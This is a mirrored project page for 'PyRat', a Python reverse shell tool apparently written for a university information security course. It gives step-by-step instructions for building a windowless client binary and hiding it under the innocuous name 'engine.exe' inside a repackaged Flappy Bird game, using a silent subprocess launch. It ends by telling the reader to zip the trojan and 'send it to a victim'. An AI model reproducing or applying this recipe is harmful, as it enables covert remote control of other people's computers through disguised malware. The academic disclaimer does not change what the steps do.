项目作者: gerardbalaoro

项目描述 :
A Simple Python 3 Reverse Shell Script
高级语言: Python
项目地址: git://github.com/gerardbalaoro/PyRat.git
创建时间: 2018-11-05T11:29:37Z
项目社区:https://github.com/gerardbalaoro/PyRat

开源协议:MIT License

下载


PyRat: ReverseShell

A Fully Undetectable Python 3 Reverse Shell Script


Disclaimer


Developed by Gerard Ian M. Balaoro

In Partial Fulfillment on the Requirements for the Subject

LIS 198: Information Security

1st Semester, A.Y. 2018-2019

University of the Philippines Diliman



The author intended this to be used solely for academic purposes


Usage

  • Install required Python packages.

    1. pip install -r packages.txt
  • Run the server script.

    1. python server.py --port 58777
  • Configure server settings inside config.ini.

    1. {
    2. "host":"127.0.0.1",
    3. "port":58777
    4. }
  • Run client script in another computer.

Building Binaries Using PyInstaller (Windows)

  • Server script

    1. pyinstaller server.py -F -y -i assets/icons/shell.ico --distpath "dist/PyRat" --name "PyRatServer"
  • Client script, use the windowed option to prevent the script from launching a command window

    1. pyinstaller client.py -F -y -i assets/icons/gear.ico --distpath "dist/PyRat" --name "PyRatClient"

Building Trojan Executables (Windows)

Injecting the client script inside the parent entry script.

It’s faily easy to integrate this script to any Python application. In this example, we will use this Flappy Bird Game recreated by Sourabh Verma using the PyGame library.

All we need to do is execute the client script silently whenever the game is initialized. We also need to think of an unsuspicous name
to use when compiling the client script, in this case, we’re using ‘engine.exe’. This can be accomplished using Python’s subprocess library:

  1. import subprocess
  2. payload = subprocess.Popen('engine', shell = True, stdout= None, stderr = None, stdin = None)

Building the Game Package

Run pyinstaller and copy the assets folder to the destination:

  1. pyinstaller flappy.py -F -y -i assets/icons/flappy.ico --distpath "dist/FlappyBird" --name "flappybird" --windowed
  2. xcopy "assets" "dist/FlappyBird/assets" /E /S /Y

Once done, we can now see our Trojan application inside the build/FlappyBird directory. All there’s left to do is to change the configuration settings, compress this to a zip file and send it to a victim.

  1. .
  2. ├── ...
  3. ├── config.ini # Server settings
  4. ├── engine.exe # Concealed payload
  5. ├── flappybird.exe
  6. └── ...

Credits